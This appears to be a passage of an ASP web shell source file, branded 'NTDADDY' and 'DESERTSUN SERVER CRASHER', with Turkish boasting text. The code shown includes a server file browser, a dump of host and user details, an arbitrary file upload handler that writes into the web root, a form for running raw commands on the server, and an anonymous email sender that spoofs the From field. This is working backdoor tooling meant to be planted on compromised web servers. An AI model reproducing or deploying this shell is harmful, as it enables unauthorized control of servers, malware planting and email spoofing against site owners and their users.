</STYLE>
|
||
</head>
|
||
<body bgcolor=#000000 text=#00FF00>
|
||
<center>
|
||
<font color="#00FF00">NTDADDY<p>BU BIR ELMALI SEKERDIR;) YILLARDIR BUYUK BABALAR
|
||
TARAFINDAN BILINMESINE RAGMEN DAGITILMIYORDU<br>
|
||
AMA BUGUN AHA SIZ EVLATLARIMIZA VERIYOZ CUNKU BIZ BUNUN BABASINI YAPTIK BU DA
|
||
SIZIN OLSUN</font></p>
|
||
<hr color="#ffffff">
|
||
<table border=1 width="100%" color="#fffff">
|
||
<tr>
|
||
<td align=center width=100% bgcolor=#ffffff><font color=#00FF00><a name=lblCurrentPath value=
|
||
<%
|
||
FP=Request.Form("FolderPath")
|
||
if FP = "RefreshFolder" or request.form("cmdOption")="DeleteFolder" or request.form("cmdOption")="CopyFolder" or request.form("cmdOption")="SetFolderAttributes" then
|
||
FP=request.form("RefreshFolderPath")
|
||
end if
|
||
response.write(chr(34) & IP & chr(34) & ">" & FP)
|
||
%>
|
||
</a></td>
|
||
</tr>
|
||
</table>
|
||
<table border=0 cellspacing=1 bordercolor="#ffffff" width=100% height=100%>
|
||
<tr colspan=3><td align=left colspan=3><% =ShowDriveLetters() %></td>
|
||
<td align=center></td></tr>
|
||
<tr valign=top width=100%><td align=left><% =ShowFolderNames() %></td>
|
||
<td align=right><% =ShowFileNames() %></td>
|
||
</tr>
|
||
</table>
|
||
<font color="#00FF00">
|
||
<br></font><hr color="#ffffff"><font color="#00FF00"><br>
|
||
</font>
|
||
<table cellpadding="3" cellspacing="3" border="5" bordercolor="#ffffff">
|
||
<tr>
|
||
<td align="left" bgcolor="#F8F8FF">
|
||
<font color="#00FF00" size="4"><b><3E> Remote Info.</b></font><font color="#00FF00">
|
||
</font>
|
||
</td>
|
||
<td align="left" bgcolor="#F8F8FF">
|
||
<font color="#00FF00" size="4"><b><3E> Local Info.</b></font><font color="#00FF00">
|
||
</font>
|
||
</td>
|
||
</tr>
|
||
<tr>
|
||
<td align=left>
|
||
<div align=left><font size="3" color="#00FF00">
|
||
<b>User</b>: <%= "\\" & oScriptNet.ComputerName & " \ " & oScriptNet.UserName %> <br>
|
||
<b>ID</b>: <%=request.servervariables("SERVER_NAME")%> <br>
|
||
<b>IP</b>: <%=request.servervariables("LOCAL_ADDR")%> <br>
|
||
<b>HTTPD</b>: <%=request.servervariables("SERVER_SOFTWARE")%> <b>Port</b>: <%=request.servervariables("SERVER_PORT")%> <br>
|
||
<b>Webroot</b>: <%=request.servervariables("APPL_PHYSICAL_PATH")%> <br>
|
||
<b>LogRoot</b>: <%=request.servervariables("APPL_MD_PATH")%> <br>
|
||
<b>Date</b>: <% =date() %> <br>
|
||
<b>Time</b>: <%=time() %> <br>
|
||
<b>HTTPs</b>: <%=request.servervariables("HTTPS")%>
|
||
<br></font></div>
|
||
</td>
|
||
<td align="left" valign="top">
|
||
<font color="#00FF00">
|
||
<b>Local Addr (What they see.)</b>: <%=request.servervariables("REMOTE_ADDR")%> <br>
|
||
<b>Forwarded from</b> : <%=request.servervariables("HTTP_X_FORWARDED_FOR")%> <br>
|
||
<b>Via</b>: <%=request.servervariables("HTTP_VIA")%> <br>
|
||
<b>User Agent</b>: <%=request.servervariables("HTTP_USER_AGENT")%> <br>
|
||
<b>Wookie</b>: <%=request.servervariables("HTTP_WOOKIE")%> <br>
|
||
<b>Cache Control</b>: <%=request.servervariables("HTTP_CACHE_CONTROL")%> <br>
|
||
<b>Interface</b>: <%=request.servervariables("GATEWAY_INTERFACE")%> <br>
|
||
<b>Protocol</b>: <%=request.servervariables("SERVER_PROTOCOL")%> <br>
|
||
<b>Method</b>: <%=request.servervariables("REQUEST_METHOD")%> </font>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
<font color="#00FF00">
|
||
<br>
|
||
</font>
|
||
<hr color="#ffffff">
|
||
<font color="#00FF00">
|
||
<br>
|
||
</font>
|
||
<table cellpadding="3" cellspacing"1" bordercolor="#F8F8FF" border=5>
|
||
<tr>
|
||
<td align="left" bgcolor="#F8F8FF">
|
||
<font size="2" color="#00FF00"><b><3E> File Upload Utility</b></font></td>
|
||
</tr>
|
||
<tr>
|
||
<td align="left">
|
||
<form method=post ENCTYPE="multipart/form-data">
|
||
<font color="#00FF00">
|
||
<b>File</b> : <input type="file" size="35" name="File1"><br>
|
||
<input type="submit" Name="Action" value="Upload the file"> </font>
|
||
</form></td>
|
||
</tr>
|
||
<tr>
|
||
<td align="left" bgcolor="#F8F8FF">
|
||
<font size="2" color="#00FF00"><b><3E> RAW D.O.S. COMMAND INTERFACE</b></font></td>
|
||
</tr>
|
||
<tr valign="top">
|
||
<td align="left">
|
||
<form action="<%= Request.ServerVariables("URL") %>" method="POST">
|
||
<p><font color="#00FF00"><input type="text" name=".CMD" size="45" value="<%= szCMD %>"> <input type="submit" value="Run">
|
||
</font> </p>
|
||
</form>
|
||
<pre><font color="#00FF00"><%
|
||
If (IsObject(oFile)) Then
|
||
On Error Resume Next
|
||
Response.Write Server.HTMLEncode(oFile.ReadAll)
|
||
oFile.Close
|
||
Call oFileSys.DeleteFile(szTempFile, True)
|
||
End If%>
|
||
</font></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
<font color="#00FF00">
|
||
<br>
|
||
</font>
|
||
<hr color="#ffffff">
|
||
<font color="#00FF00">
|
||
<br>
|
||
</font>
|
||
<form action=elmaliseker.asp method=post>
|
||
<form action=elmaliseker.asp method=post>
|
||
<table border=3 cellpadding="3" cellspacing="2" bordercolor="#ffffff" width="400">
|
||
<tr>
|
||
<td bgcolor="#F8F8FF" colspan="2"><font color="#00FF00" align="left"><b><3E> Anonymous Email Utility</b></font></td>
|
||
<tr>
|
||
<td bgcolor="#F8F8FF"><font color="#00FF00"><b>From:</b> </font> </td>
|
||
<td><font color="#00FF00"><input name=From size=30 style="HEIGHT: 22px; WIDTH: 321px"></font></td></tr>
|
||
<tr>
|
||
<td bgcolor="#F8F8FF"><font color="#00FF00"><b>To:</b> </font> </td>
|
||
<td><font color="#00FF00"><input name=To size=30 style="HEIGHT: 22px; WIDTH: 321px"></font></td></tr>
|
||
<tr>
|
||
<td bgcolor="#F8F8FF"><font color="#00FF00"><b>Subject:</b> </font> </td>
|
||
<td><font color="#00FF00"><input name=Subject size=30 style="HEIGHT: 22px; WIDTH: 321px"></font></td></tr>
|
||
<tr>
|
||
<td valign="top" bgcolor="#F8F8FF"><font color="#00FF00"><b>Body:</b> </font> </td>
|
||
<td><font color="#00FF00"><textarea cols=30 name=Body rows=5 style="HEIGHT: 86px; WIDTH: 322px" wrap=virtual></textarea></font></td>
|
||
</tr>
|
||
<tr>
|
||
<td align="right" bgcolor="#F8F8FF" colspan="2">
|
||
<font color="#00FF00">
|
||
<input type="submit" value="Send Mail">
|
||
<input type="hidden" name="flag" value="1"></font></td>
|
||
</tr>
|
||
</table>
|
||
<font color="#00FF00">
|
||
<br>
|
||
</font>
|
||
<hr color="#ffffff">
|
||
<font size="#ffffff"><center> </center>
|
||
</font>
|
||
<font color="#00FF00">
|
||
</body>
|
||
</font>
|
||
</html>
|
||
<SCRIPT RUNAT=SERVER LANGUAGE=VBSCRIPT>
|
||
Const IncludeType = 2
|
||
Dim UploadSizeLimit
|
||
Function GetUpload()
|
||
Dim Result
|
||
Set Result = Nothing
|
||
If Request.ServerVariables("REQUEST_METHOD") = "POST" Then
|
||
Dim CT, PosB, Boundary, Length, PosE
|
||
CT = Request.ServerVariables("HTTP_Content_Type")
|
||
If LCase(Left(CT, 19)) = "multipart/form-data" Then
|
||
PosB = InStr(LCase(CT), "boundary=")
|
||
If PosB > 0 Then Boundary = Mid(CT, PosB + 9)
|
||
PosB = InStr(LCase(CT), "boundary=")
|
||
If PosB > 0 then
|
||
PosB = InStr(Boundary, ",")
|
||
If PosB > 0 Then Boundary = Left(Boundary, PosB - 1)
|
||
end if
|
||
Length = CLng(Request.ServerVariables("HTTP_Content_Length"))
|
||
If "" & UploadSizeLimit <> "" Then
|
||
UploadSizeLimit = CLng(UploadSizeLimit)
|
||
If Length > UploadSizeLimit Then
|
||
Request.BinaryRead (Length)
|
||
Err.Raise 2, "GetUpload", "Upload size " & FormatNumber(Length, 0) & "B exceeds limit of " & FormatNumber(UploadSizeLimit, 0) & "B"
|
||
Exit Function
|
||
End If
|
||
End If
|
||
If Length > 0 And Boundary <> "" Then
|
||
Boundary = "--" & Boundary
|
||
Dim Head, Binary
|
||
Binary = Request.BinaryRead(Length)
|
||
Set Result = SeparateFields(Binary, Boundary)
|
||
Binary = Empty
|
||
Else
|
||
Err.Raise 10, "GetUpload", "Zero length request."
|
||
End If
|
||
Else
|
||
Err.Raise 11, "GetUpload", "No file sent."
|
||
End If
|
||
Else
|
||
Err.Raise 1, "GetUpload", "Bad request method."
|
||
End If
|
||
Set GetUpload = Result
|
||
End Function
|
||
Function SeparateFields(Binary, Boundary)
|
||
Dim PosOpenBoundary, PosCloseBoundary, PosEndOfHeader, isLastBoundary
|
||
Dim Fields
|
||
Boundary = StringToBinary(Boundary)
|
||
PosOpenBoundary = InStrB(Binary, Boundary)
|
||
PosCloseBoundary = InStrB(PosOpenBoundary + LenB(Boundary), Binary, Boundary, 0)
|
||
Set Fields = CreateObject("Scripting.Dictionary")
|
||
Do While (PosOpenBoundary > 0 And PosCloseBoundary > 0 And Not isLastBoundary)
|
||
Dim HeaderContent, FieldContent, bFieldContent
|
||
Dim Content_Disposition, FormFieldName, SourceFileName, Content_Type
|
||
Dim Field, TwoCharsAfterEndBoundary
|
||
PosEndOfHeader = InStrB(PosOpenBoundary + Len(Boundary), Binary, StringToBinary(vbCrLf + vbCrLf))
|
||
HeaderContent = MidB(Binary, PosOpenBoundary + LenB(Boundary) + 2, PosEndOfHeader - PosOpenBoundary - LenB(Boundary) - 2)
|
||
bFieldContent = MidB(Binary, (PosEndOfHeader + 4), PosCloseBoundary - (PosEndOfHeader + 4) - 2)
|
||
GetHeadFields BinaryToString(HeaderContent), Content_Disposition, FormFieldName, SourceFileName, Content_Type
|
||
Set Field = CreateUploadField()
|
||
Set FieldContent = CreateBinaryData()
|
||
FieldContent.ByteArray = bFieldContent
|
||
FieldContent.Length = LenB(bFieldContent)
|
||
Field.Name = FormFieldName
|
||
Field.ContentDisposition = Content_Disposition
|
||
Field.FilePath = SourceFileName
|
||
Field.FileName = GetFileName(SourceFileName)
|
||
Field.ContentType = Content_Type
|
||
Field.Length = FieldContent.Length
|
||
Set Field.Value = FieldContent
|
||
Fields.Add FormFieldName, Field
|
||
TwoCharsAfterEndBoundary = BinaryToString(MidB(Binary, PosCloseBoundary + LenB(Boundary), 2))
|
||
isLastBoundary = TwoCharsAfterEndBoundary = "--"
|
||
If Not isLastBoundary Then
|
||
PosOpenBoundary = PosCloseBoundary
|
||
PosCloseBoundary = InStrB(PosOpenBoundary + LenB(Boundary), Binary, Boundary)
|
||
End If
|
||
Loop
|
||
Set SeparateFields = Fields
|
||
End Function
|
||
Function GetHeadFields(ByVal Head, Content_Disposition, Name, FileName, Content_Type)
|
||
Content_Disposition = LTrim(SeparateField(Head, "content-disposition:", ";"))
|
||
Name = (SeparateField(Head, "name=", ";"))
|
||
If Left(Name, 1) = """" Then Name = Mid(Name, 2, Len(Name) - 2)
|
||
FileName = (SeparateField(Head, "filename=", ";"))
|
||
If Left(FileName, 1) = """" Then FileName = Mid(FileName, 2, Len(FileName) - 2)
|
||
Content_Type = LTrim(SeparateField(Head, "content-type:", ";"))
|
||
End Function
|
||
Function SeparateField(From, ByVal sStart, ByVal sEnd)
|
||
Dim PosB, PosE, sFrom
|
||
sFrom = LCase(From)
|
||
PosB = InStr(sFrom, sStart)
|
||
If PosB > 0 Then
|
||
PosB = PosB + Len(sStart)
|
||
PosE = InStr(PosB, sFrom, sEnd)
|
||
If PosE = 0 Then PosE = InStr(PosB, sFrom, vbCrLf)
|
||
If PosE = 0 Then PosE = Len(sFrom) + 1
|
||
SeparateField = Mid(From, PosB, PosE - PosB)
|
||
Else
|
||
SeparateField = Empty
|
||
End If
|
||
End Function
|
||
Function GetFileName(FullPath)
|
||
Dim Pos, PosF
|
||
PosF = 0
|
||
For Pos = Len(FullPath) To 1 Step -1
|
||
Select Case Mid(FullPath, Pos, 1)
|
||
Case "/", "\": PosF = Pos + 1: Pos = 0
|
||
End Select
|
||
Next
|
||
If PosF = 0 Then PosF = 1
|
||
GetFileName = Mid(FullPath, PosF)
|
||
End Function
|
||
Function BinaryToString(Binary)
|
||
dim cl1, cl2, cl3, pl1, pl2, pl3
|
||
Dim L
|
||
cl1 = 1
|
||
cl2 = 1
|
||
cl3 = 1
|
||
L = LenB(Binary)
|
||
Do While cl1<=L
|
||
pl3 = pl3 & Chr(AscB(MidB(Binary,cl1,1)))
|
||
cl1 = cl1 + 1
|
||
cl3 = cl3 + 1
|
||
if cl3>300 then
|
||
pl2 = pl2 & pl3
|
||
pl3 = ""
|
||
cl3 = 1
|
||
cl2 = cl2 + 1
|
||
if cl2>200 then
|
||
pl1 = pl1 & pl2
|
||
pl2 = ""
|
||
cl2 = 1
|
||
End If
|
||
End If
|
||
Loop
|
||
BinaryToString = pl1 & pl2 & pl3
|
||
End Function
|
||
Function BinaryToStringold(Binary)
|
||
Dim I, S
|
||
For I = 1 To LenB(Binary)
|
||
S = S & Chr(AscB(MidB(Binary, I, 1)))
|
||
Next
|
||
BinaryToString = S
|
||
End Function
|
||
Function StringToBinary(String)
|
||
Dim I, B
|
||
For I=1 to len(String)
|
||
B = B & ChrB(Asc(Mid(String,I,1)))
|
||
Next
|
||
StringToBinary = B
|
||
End Function
|
||
Function vbsSaveAs(FileName, ByteArray)
|
||
Dim FS, TextStream
|
||
Set FS = CreateObject("Scripting.FileSystemObject")
|
||
Set TextStream = FS.CreateTextFile(FileName)
|
||
TextStream.Write BinaryToString(ByteArray)
|
||
TextStream.Close
|
||
End Function
|
||
</SCRIPT>
|
||
<SCRIPT RUNAT=SERVER LANGUAGE=JSCRIPT>
|
||
function CreateUploadField(){ return new uf_Init() }
|
||
function uf_Init(){
|
||
this.Name = null
|
||
this.ContentDisposition = null
|
||
this.FileName = null
|
||
this.FilePath = null
|
||
this.ContentType = null
|
||
this.Value = null
|
||
this.Length = null
|
||
}
|
||
function CreateBinaryData(){ return new bin_Init() }
|
||
function bin_Init(){
|
||
this.ByteArray = null
|
||
this.Length = null
|
||
this.String = jsBinaryToString
|
||
this.SaveAs = jsSaveAs
|
||
}
|
||
function jsBinaryToString(){
|
||
return BinaryToString(this.ByteArray)
|
||
}
|
||
function jsSaveAs(FileName){
|
||
return vbsSaveAs(FileName, this.ByteArray)
|
||
}
|
||
</SCRIPT>
|
||
<%
|
||
If Request.ServerVariables("REQUEST_METHOD") = "POST" Then
|
||
Set Fields = GetUpload()
|
||
FilePath = Server.MapPath(".") & "\" & Fields("File1").FileName
|
||
Fields("File1").Value.SaveAs FilePath
|
||
End If
|
||
%>
|
||
<%
|
||
Else
|
||
Dim anonFrom,anonTo,anonSubj,anonBody
|
||
anonFrom = request.form("From")
|
||
anonTo = request.form("To")
|
||
anonSubj = request.form("Subject")
|
||
anonBody = request.form("Body")
|
||
Set objMail = CreateObject("CDONTS.NewMail")
|
||
objMail.From=anonFrom
|
||
objMail.To=anonTo
|
||
objMail.Subject=anonSubj
|
||
objMail.Body=anonBody
|
||
intReturn=objMail.Send()
|
||
%>
|
||
<html>
|
||
<head><font color="#00FF00"><title>:::: DESERTSUN SERVER CRASHER ::::</title></head>
|
||
<h1>Message sent successfully!</h1><br><br><br>
|
||
</font>
|
||
<table border=0 cellpadding="0" cellspacing="3">
|
||
<tr>
|
||
<td>
|
||
<font color="#00FF00">
|
||
<input type='button' value='Back' onclick=history.back()> </font> </td>
|
||
<td>
|
||
<h2><font color="#00FF00">]</font></h2> </td>
|
||
</tr>
|
||
</table>
|
||
</html>
|
||
<%
|
||
End if
|
||
%> |